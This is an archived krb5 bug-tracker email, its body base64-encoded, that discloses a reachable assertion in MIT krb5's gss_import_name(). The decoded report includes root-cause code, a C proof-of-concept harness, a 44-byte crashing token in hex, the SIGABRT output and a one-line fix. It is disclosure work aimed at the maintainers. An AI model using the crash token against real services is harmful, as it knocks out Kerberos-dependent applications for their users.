[krbdev.mit.edu #9217] [krb5] Reachable assert(cp == end) in gss_import_name() aborts on a malformed exported-name token (CWE-617 DoS)
"Ze Sheng via RT" <[email protected]> Mon, 01 Jun 2026 08:54:43 -0400
| Newsgroups | gmane.comp.encryption.kerberos.bugs |
|---|---|
| Message-ID | <[email protected]> |
Ck1vbiBKdW4gMDEgMDg6NTQ6NDIgMjAyNjogUmVxdWVzdCA5MjE3IHdhcyBhY3RlZCB1cG9uLgog VHJhbnNhY3Rpb246IFRpY2tldCBjcmVhdGVkIGJ5IHplc2hlbmdAdGFtdS5lZHUKICAgICAgIFF1 ZXVlOiBrcmI1CiAgICAgU3ViamVjdDogW2tyYjVdIFJlYWNoYWJsZSBhc3NlcnQoY3AgPT0gZW5k KSBpbiBnc3NfaW1wb3J0X25hbWUoKSBhYm9ydHMgb24gYSBtYWxmb3JtZWQgZXhwb3J0ZWQtbmFt ZSB0b2tlbiAoQ1dFLTYxNyBEb1MpCiAgICAgICBPd25lcjogTm9ib2R5CiAgUmVxdWVzdG9yczog emVzaGVuZ0B0YW11LmVkdQogICAgICBTdGF0dXM6IG5ldwogVGlja2V0IDxVUkw6IGh0dHBzOi8v a3JiZGV2Lm1pdC5lZHUvcnQvVGlja2V0L0Rpc3BsYXkuaHRtbD9pZD05MjE3ID4KCgpIaSBrcmI1 LAoKUmVwb3J0aW5nIGEgcmVhY2hhYmxlIGFzc2VydGlvbiBpbiB0aGUga3JiNSBHU1MgbWVjaGFu aXNtOiBhIG1hbGZvcm1lZApHU1NfQ19OVF9FWFBPUlRfTkFNRSB0b2tlbiBmZWQgdG8gZ3NzX2lt cG9ydF9uYW1lKCkgYWJvcnRzIHRoZSBwcm9jZXNzIHZpYQphc3NlcnQoY3AgPT0gZW5kKSBpbiBp bXBvcnRfbmFtZSgpLiBJdCBpcyBtZW1vcnktc2FmZSAoYm91bmRzLWNoZWNrZWQ7IG5vdAphbgpv dmVyZmxvdyksIGJ1dCBzaW5jZSBrcmI1IGtlZXBzIGFzc2VydGlvbnMgaW4gcmVsZWFzZSBidWls ZHMsIHRoZSBhYm9ydCBpcwpyZWFjaGFibGUgaW4gcHJvZHVjdGlvbiAtLSBJIHJlcHJvZHVjZWQg aXQgYWdhaW5zdCB0aGUgc3RvY2sgVWJ1bnR1IE1JVCBrcmI1CjEuMTkuMiBsaWJyYXJ5IHdpdGgg YSBzaW5nbGUgZ3NzX2ltcG9ydF9uYW1lKCkgY2FsbCAoYmVsb3cpLgoKRnVsbCB3cml0ZS11cCBh bmQgYSBzZWxmLWNvbnRhaW5lZCBQb0MgZm9sbG93LgoKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K CgojIyBTdW1tYXJ5CgpgZ3NzX2ltcG9ydF9uYW1lKClgIHdpdGggYEdTU19DX05UX0VYUE9SVF9O QU1FYCAob3IKYEdTU19DX05UX0NPTVBPU0lURV9FWFBPUlRgKQphYm9ydHMgdGhlIHByb2Nlc3Mg dmlhIGBhc3NlcnQoY3AgPT0gZW5kKWAgaW4gdGhlIGtyYjUgbWVjaCdzCmBpbXBvcnRfbmFtZSgp YAp3aGVuIHRoZSBzdXBwbGllZCBleHBvcnRlZC1uYW1lIHRva2VuIGRlY2xhcmVzIGEgbmFtZSBs ZW5ndGggdGhhdCBsZWF2ZXMKdHJhaWxpbmcKYnl0ZXMgdW5jb25zdW1lZC4gVGhlIGFzc2VydGlv biBpcyB1c2VkIHRvIHZhbGlkYXRlICoqYXR0YWNrZXItc3VwcGxpZWQqKgpsZW5ndGgKZnJhbWlu Zywgc28gYSBtYWxmb3JtZWQgdG9rZW4gcmVhY2hlcyBgYWJvcnQoKWAgKFNJR0FCUlQpIOKAlCBh IGRlbmlhbCBvZgpzZXJ2aWNlCmluIGFueSBhcHBsaWNhdGlvbiB0aGF0IGltcG9ydHMgdW50cnVz dGVkIGV4cG9ydGVkIG5hbWVzLgoKSXQgaXMgbWVtb3J5LXNhZmUgKG5vIG91dC1vZi1ib3VuZHMg YWNjZXNzLCBubyBjb3JydXB0aW9uKTogZXZlcnkgYnVmZmVyCmFjY2VzcwppcyBib3VuZHMtY2hl Y2tlZCwgYW5kIHRoZSBhc3NlcnQgaXMgcHVyZWx5IGEgbGVuZ3RoLWNvbnNpc3RlbmN5IGNoZWNr LiBCdXQKTUlUCmtyYjUgZG9lcyBub3QgY29tcGlsZSBvdXQgYXNzZXJ0aW9ucyAobm8gYC1ETkRF QlVHYCBpbiB0aGUgYnVpbGQpLCBhbmQKc2hpcHBlZApkaXN0cmlidXRpb24gbGlicmFyaWVzIGtl ZXAgdGhlbSwgc28gdGhlIGFib3J0IGlzIHJlYWNoYWJsZSBpbiBwcm9kdWN0aW9uCmJ1aWxkcy4K CiMjIEFmZmVjdGVkCgotIENvbXBvbmVudDogYHNyYy9saWIvZ3NzYXBpL2tyYjUvaW1wb3J0X25h bWUuY2Ag4oCUIGBrcmI1X2dzc19pbXBvcnRfbmFtZSgpYAovCiAgYGltcG9ydF9uYW1lKClgLCB0 aGUgYGFzc2VydChjcCA9PSBlbmQpYC4KLSBWZXJpZmllZCBvbjogY3VycmVudCBgbWFzdGVyYCAo YGNmMjBlZmVgLCBhc3NlcnQgYXQgYGltcG9ydF9uYW1lLmM6MzAwYCkKQU5EIHRoZQogIHN5c3Rl bSBNSVQga3JiNSAqKnJlbGVhc2UgMS4xOS4yKiogKGBpbXBvcnRfbmFtZS5jOjMwM2ApLiBUaGUg Y29kZSBhbmQKYXNzZXJ0CiAgYXJlIGxvbmctc3RhbmRpbmcgKGludHJvZHVjZWQgMjAwOSB3aXRo IHRoZSBHU1MgbmFtaW5nIGV4dGVuc2lvbnMpLgotIEJ1aWxkIG5vdGU6IE1JVCBrcmI1J3MgYnVp bGQgc3lzdGVtIGRlZmluZXMgYE5ERUJVR2Agbm93aGVyZQogIChgZ3JlcCAtcm4gRE5ERUJVRyBz cmMvYCBpcyBlbXB0eSksIHNvIGFzc2VydGlvbnMgYXJlIGxpdmUgaW4gbm9ybWFsCnJlbGVhc2UK ICBidWlsZHM7IGRpc3RybyBgbGliZ3NzYXBpX2tyYjVgIHNoaXBzIHdpdGggdGhlIGFzc2VydCBj b21waWxlZCBpbi4KCiMjIFJvb3QgY2F1c2UKCmBpbXBvcnRfbmFtZSgpYCBjb3BpZXMgdGhlIHRv a2VuIGludG8gYHRtcGAsIHNldHMgYGNwYC9gZW5kYCwgdmFsaWRhdGVzIHRoZQpUT0tfSUQgYW5k IG1lY2ggT0lELCB0aGVuIHJlYWRzIGEgNC1ieXRlIGJpZy1lbmRpYW4sIGF0dGFja2VyLWNvbnRy b2xsZWQKbmFtZQpsZW5ndGggYW5kIGNvcGllcyB0aGF0IG1hbnkgYnl0ZXMg4oCUIGFmdGVyIHdo aWNoIGl0IGFzc2VydHMgdGhlIGN1cnNvcgpyZWFjaGVkIHRoZQplbmQgb2YgdGhlIGJ1ZmZlcjoK CmBgYGMKLyogc3JjL2xpYi9nc3NhcGkva3JiNS9pbXBvcnRfbmFtZS5jIChIRUFEIGNmMjBlZmUp ICovCjIzNSAgY3AgPSAodW5zaWduZWQgY2hhciAqKXRtcDsKMjM2ICBlbmQgPSBjcCArIGlucHV0 X25hbWVfYnVmZmVyLT5sZW5ndGg7Ci4uLgoyNzAgIEJPVU5EU19DSEVDSyhjcCwgZW5kLCA0KTsK MjcxICBsZW5ndGggPSAqY3ArKzsKMjcyICBsZW5ndGggPSAobGVuZ3RoIDw8IDgpIHwgKmNwKys7 CjI3MyAgbGVuZ3RoID0gKGxlbmd0aCA8PCA4KSB8ICpjcCsrOwoyNzQgIGxlbmd0aCA9IChsZW5n dGggPDwgOCkgfCAqY3ArKzsgICAgICAgIC8vIGF0dGFja2VyLWNvbnRyb2xsZWQgbmFtZQpsZW5n dGgKMjc2ICBCT1VORFNfQ0hFQ0soY3AsIGVuZCwgbGVuZ3RoKTsgICAgICAgICAgLy8gZW5zdXJl cyBjcCBkb2VzIG5vdCBwYXNzIGVuZAoyNzcgIHRtcDIgPSBrNWFsbG9jKGxlbmd0aCArIDEsICZj b2RlKTsKLi4uCjI4MSAgdG1wMltsZW5ndGhdID0gMDsgICAgICAgICAgICAgICAgICAgICAgIC8v IHN0cmluZ3JlcCBpcyBpbmRlcGVuZGVudGx5Ck5VTC10ZXJtaW5hdGVkCjI4MyAgY3AgKz0gbGVu Z3RoOwouLi4KMzAwICBhc3NlcnQoY3AgPT0gZW5kKTsgICAgICAgICAgICAgICAgICAgICAgLy8g PC0tIGZpcmVzIHdoZW4gdGhlIGJ1ZmZlcgpoYXMgdHJhaWxpbmcgYnl0ZXMKYGBgCgpgQk9VTkRT X0NIRUNLYCBndWFyYW50ZWVzIGBjcGAgbmV2ZXIgYWR2YW5jZXMgcGFzdCBgZW5kYCwgYnV0IGl0 IGRvZXMKKipub3QqKgpyZXF1aXJlIHRoZSBidWZmZXIgdG8gYmUgZXhhY3RseSB0aGUgZGVjbGFy ZWQgbGVuZ3RoLiBJZiB0aGUgdG9rZW4gY2FycmllcwpNT1JFCmJ5dGVzIHRoYW4gdGhlIG5hbWUg bGVuZ3RoIGNvbnN1bWVzICh0cmFpbGluZyBkYXRhIGFmdGVyIHRoZSBuYW1lLCBvciB0aGUKY29t cG9zaXRlIGJsb2NrKSwgYGNwYCBsYW5kcyBzaG9ydCBvZiBgZW5kYCwgYGNwICE9IGVuZGAsIGFu ZCBgYXNzZXJ0KClgCmFib3J0cy4KCkFmdGVyIHRoZSBhc3NlcnQgdGhlIGNvZGUgb25seSB1c2Vz IGBzdHJpbmdyZXBgICh0aGUgc2VwYXJhdGVseS10ZXJtaW5hdGVkCmNvcHkpOwpgY3BgL2BlbmRg IGFyZSBuZXZlciByZWZlcmVuY2VkIGFnYWluLiBTbyB3aXRoIGFzc2VydGlvbnMgZGlzYWJsZWQg dGhlIHNhbWUKaW5wdXQKaXMgYSBiZW5pZ24gbWlzcGFyc2UgKHRoZSB0cmFpbGluZyBieXRlcyBh cmUgaWdub3JlZCkg4oCUIG5vIG1lbW9yeS1zYWZldHkKaW1wYWN0LgpUaGUgYnVnIGlzIHNvbGVs eSB0aGUgcmVhY2hhYmxlIGBhYm9ydCgpYC4KCiMjIFByb29mIG9mIGNvbmNlcHQKCkEgc2luZ2xl IHB1YmxpYyBgZ3NzX2ltcG9ydF9uYW1lKClgIGNhbGwg4oCUIGV4YWN0bHkgaG93IGFuIGFwcGxp Y2F0aW9uCnJlLWltcG9ydHMKYW4gZXhwb3J0ZWQgbmFtZSDigJQgb24gYSA0NC1ieXRlIG1hbGZv cm1lZCB0b2tlbiwgbGlua2VkIGFnYWluc3QgdGhlIHN5c3RlbQpNSVQKa3JiNSwgYWJvcnRzOgoK YGBgYwovKiBpbXBvcnRfbmFtZV9wb2MuYyDigJQgYnVpbGQ6CiAqICAgY2xhbmcgLWcgaW1wb3J0 X25hbWVfcG9jLmMgJChwa2ctY29uZmlnIC0tY2ZsYWdzIC0tbGlicyBrcmI1LWdzc2FwaSkKLW8g aW1wb3J0X25hbWVfcG9jCiAqIHJ1bjogLi9pbXBvcnRfbmFtZV9wb2MgY3Jhc2hfaW5wdXQKICov CiNpbmNsdWRlIDxnc3NhcGkvZ3NzYXBpLmg+CiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8 c3RkbGliLmg+CgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3YpIHsKICBjb25zdCBjaGFy ICpwYXRoID0gYXJnYyA+IDEgPyBhcmd2WzFdIDogImNyYXNoX2lucHV0IjsKICBGSUxFICpmID0g Zm9wZW4ocGF0aCwgInJiIik7CiAgaWYgKCFmKSB7IHBlcnJvcigiZm9wZW4iKTsgcmV0dXJuIDI7 IH0KICBzdGF0aWMgdW5zaWduZWQgY2hhciBidWZbNDA5Nl07CiAgc2l6ZV90IG4gPSBmcmVhZChi dWYsIDEsIHNpemVvZihidWYpLCBmKTsKICBmY2xvc2UoZik7CgogIE9NX3VpbnQzMiBtYWpvciwg bWlub3I7CiAgZ3NzX2J1ZmZlcl9kZXNjIGluID0geyBuLCBidWYgfTsKICBnc3NfbmFtZV90IG91 dCA9IEdTU19DX05PX05BTUU7CiAgbWFqb3IgPSBnc3NfaW1wb3J0X25hbWUoJm1pbm9yLCAmaW4s IEdTU19DX05UX0VYUE9SVF9OQU1FLCAmb3V0KTsKICBpZiAobWFqb3IgPT0gR1NTX1NfQ09NUExF VEUpIGdzc19yZWxlYXNlX25hbWUoJm1pbm9yLCAmb3V0KTsKICByZXR1cm4gMDsKfQpgYGAKClRo ZSA0NC1ieXRlIHRva2VuIChgY3Jhc2hfaW5wdXRgLCBoZXgpOiBhbiBleHBvcnRlZC1uYW1lIGJs b2Igd2l0aCB0aGUga3JiNQptZWNoCk9JRCBgMS4yLjg0MC4xMTM1NTQuMS4yLjJgLCBhIG5hbWUt bGVuZ3RoIGZpZWxkIG9mIGAweDAwMDAwMDBhYCwgdGhlbiBhIG5hbWUKZm9sbG93ZWQgYnkgZXh0 cmEgdHJhaWxpbmcgYnl0ZXMgc28gYGNwICE9IGVuZGA6CgpgYGAKMDQgMDEgMDAgMGIgMDYgMDkg MmEgODYgNDggODYgZjcgMTIgMDEgMDIgMDIgMDAKMDAgMDAgMGEgNzUgNzMgNjUgNzIgNDAgNTIg NDUgNDEgMGIgMDYgMDkgMmEgODYKNDggODYgZjcgMTIgMDEgMDIgMDIgMDAgMDAgMDAgNGMgNGQK YGBgCgoqKk91dHB1dCAoc3lzdGVtIE1JVCBrcmI1IDEuMTkuMik6KioKCmBgYAppbXBvcnRfbmFt ZV9wb2M6IC4uLi9zcmMvbGliL2dzc2FwaS9rcmI1L2ltcG9ydF9uYW1lLmM6MzAzOgprcmI1X2dz c19pbXBvcnRfbmFtZToKICBBc3NlcnRpb24gYGNwID09IGVuZCcgZmFpbGVkLgpBYm9ydGVkIChT SUdBQlJUKQpgYGAKCiMjIEltcGFjdAoKfCBBc3BlY3QgfCBEZXRhaWxzIHwKfC0tLS0tLS0tfC0t LS0tLS0tLXwKfCAqKlR5cGUqKiB8IFJlYWNoYWJsZSBhc3NlcnRpb24gLT4gYGFib3J0KClgIChk ZW5pYWwgb2Ygc2VydmljZSkgfAp8ICoqU2V2ZXJpdHkqKiB8IExvd+KAk21lZGl1bSAocHJvY2Vz cyBjcmFzaCBvbiB1bnRydXN0ZWQgZXhwb3J0ZWQtbmFtZQppbnB1dCkgfAp8ICoqQXR0YWNrIHN1 cmZhY2UqKiB8IEFwcHMgaW1wb3J0aW5nIGV4cG9ydGVkIG5hbWVzIGZyb20gdW50cnVzdGVkIHNv dXJjZXMKKEFDTC9hdXRob3JpemF0aW9uLW5hbWUgY29tcGFyaXNvbiwgUlBDU0VDX0dTUywgTkZT L0tlcmJlcm9zIHNlcnZpY2VzLApnc3NfZXhwb3J0X25hbWUgcm91bmQtdHJpcHMpIHwKfCAqKk1l bW9yeSBzYWZldHkqKiB8IFNhZmUg4oCUIGJvdW5kcy1jaGVja2VkOyBub3QgYW4gb3ZlcmZsb3cu IFB1cmUgQ1dFLTYxNwpyZWFjaGFibGUgYXNzZXJ0aW9uLiB8CnwgKipCdWlsZCBkZXBlbmRlbmNl KiogfCBMaXZlIGluIG5vcm1hbCByZWxlYXNlIGJ1aWxkcyAoa3JiNSBkb2VzIG5vdApkZWZpbmUg TkRFQlVHKTsgZGlzdHJvIGxpYnMgc2hpcCBpdCB8CnwgKipDV0UqKiB8IENXRS02MTcgKFJlYWNo YWJsZSBBc3NlcnRpb24pIHwKCiMjIFN1Z2dlc3RlZCBmaXgKClJlcGxhY2UgdGhlIGFzc2VydGlv biB3aXRoIHRoZSBmdW5jdGlvbidzIGV4aXN0aW5nIGVycm9yIGhhbmRsaW5nLCBzbyBhCm1hbGZv cm1lZAp0b2tlbiByZXR1cm5zIGBHU1NfU19CQURfTkFNRWAgaW5zdGVhZCBvZiBhYm9ydGluZzoK CmBgYGMKLSAgICBhc3NlcnQoY3AgPT0gZW5kKTsKKyAgICBpZiAoY3AgIT0gZW5kKQorICAgICAg ICBnb3RvIGZhaWxfbmFtZTsgICAgICAgIC8qIHJldHVybnMgR1NTX1NfQkFEX05BTUUsIGxpa2Ug dGhlIG90aGVyCmNoZWNrcyAqLwpgYGAKCiMjIENyZWRpdAoKQWlzbGUgUmVzZWFyY2ggKFplIFNo ZW5nLCBEbWl0cmlqcyBUcml6bmEsIEx1aWdpbm8gQ2FtYXN0cmEsIEd1aWRvIFZyYW5rZW4pLgot LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKSGFwcHkgdG8gc2VuZCBhIHBhdGNoIChhc3NlcnQgLT4g Z290byBmYWlsX25hbWUpIGlmIHVzZWZ1bC4gVGhhbmtzIQoKQmVzdCByZWdhcmRzLApaZSBTaGVu ZwpBaXNsZSBSZXNlYXJjaCAoWmUgU2hlbmcsIERtaXRyaWpzIFRyaXpuYSwgTHVpZ2lubyBDYW1h c3RyYSwgR3VpZG8gVnJhbmtlbikKCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fCmtyYjUtYnVncyBtYWlsaW5nIGxpc3QKa3JiNS1idWdzQG1pdC5lZHUKaHR0 cHM6Ly9tYWlsbWFuLm1pdC5lZHUvbWFpbG1hbi9saXN0aW5mby9rcmI1LWJ1Z3MK